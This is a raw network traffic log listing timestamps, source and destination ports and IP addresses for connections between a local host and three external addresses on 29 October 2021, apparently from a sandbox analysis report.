Oct 29, 2021 14:11:10.005052090 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.005167961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005306005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005352020 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.005367041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005506992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005565882 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.005568981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005718946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005769968 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.005860090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005918980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.005971909 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.006061077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.006215096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.006268978 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.006270885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.006413937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.006469011 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.006573915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.006717920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.006769896 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.006931067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007127047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007181883 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.007280111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007411003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007462978 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.007472038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007611990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007666111 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.007671118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007790089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007847071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.007867098 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.007998943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008053064 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.008116961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008174896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008223057 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.008312941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008373976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008424997 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.008505106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008573055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008625984 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.008697987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008843899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.008897066 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.009010077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009069920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009123087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.009217024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009371042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009427071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009433031 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.009546041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009604931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009608984 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.009712934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009762049 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.009768963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009874105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.009923935 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.009932995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010055065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010106087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.010113955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010231018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010278940 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.010287046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010404110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010447979 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.010462046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010564089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010617018 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.010622025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010747910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010802031 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.010807037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010911942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.010962009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.010972977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011077881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011127949 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.011137009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011194944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011246920 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.011318922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011383057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011430979 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.011495113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011560917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011610985 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.011672020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011738062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011786938 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.011841059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011889935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.011949062 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.011993885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012016058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012036085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012058020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012063026 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.012098074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012099981 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.012118101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012135029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012152910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012164116 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.012170076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012187958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012202978 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.012206078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012223005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.012238979 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.012263060 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.024985075 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.031743050 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.079829931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.079880953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.079921007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.079946995 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.079957962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.079976082 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.079982042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.079996109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080014944 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080053091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080074072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080112934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080127001 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080149889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080171108 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080190897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080219030 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080243111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080270052 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080281973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080284119 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080322981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080329895 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080359936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080367088 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080398083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080404043 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080454111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080457926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080492973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080497026 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080530882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080534935 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080569029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080574036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080612898 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080616951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080662012 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080672026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080714941 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080724955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080766916 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080780029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080826044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080826998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080877066 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080913067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080950975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080962896 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.080988884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.080992937 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081028938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081037998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081064939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081079006 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081104040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081113100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081140995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081149101 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081176996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081190109 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081217051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081218958 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081255913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081263065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081294060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081298113 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081334114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081340075 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081371069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081384897 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081410885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081417084 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081450939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081465960 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081490040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081496954 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081526995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081531048 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081564903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081571102 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081603050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081604004 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081641912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081645012 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081677914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081686974 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081716061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081721067 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081753969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081757069 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081789970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081795931 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081828117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081831932 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081865072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081870079 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081902981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081908941 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.081942081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.081978083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082015991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082020044 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082031965 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082052946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082053900 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082088947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082113028 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082125902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082128048 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082134962 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082164049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082190990 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082201004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082210064 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082248926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082257986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082293987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082305908 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082331896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082335949 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082370043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082396030 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082405090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082442999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082442999 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082479954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082492113 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082514048 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082519054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082540035 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082560062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082592010 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082597017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082604885 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082634926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082643032 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082672119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082674026 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082709074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082746029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082772017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.082791090 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082798004 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082801104 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.082803011 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.082880020 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.083904028 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.133117914 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.135533094 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.150108099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.150162935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.150185108 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.150202990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.150216103 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.150240898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.150259018 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.150279999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.150296926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.150320053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.150335073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.150458097 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.184382915 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.250410080 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.283736944 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.332755089 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.453586102 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.658541918 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.709654093 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.717155933 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.765156031 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.765839100 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.771065950 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.819098949 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.819855928 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:10.895875931 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:10.926177979 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:10.926244020 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:10.944916964 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.008549929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.008589983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.045450926 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.095885038 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.144207954 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144258022 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144274950 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144288063 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144345999 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144361019 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144375086 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144421101 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144785881 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.144841909 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.148813963 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.152249098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.155833006 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.158132076 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.192924023 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.192939997 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.192949057 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.192955971 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.192966938 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.192980051 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193078041 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193125963 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193156958 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193169117 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193216085 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193257093 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193397045 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193481922 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.193494081 CEST	58682	50095	213.142.148.231	192.168.2.3
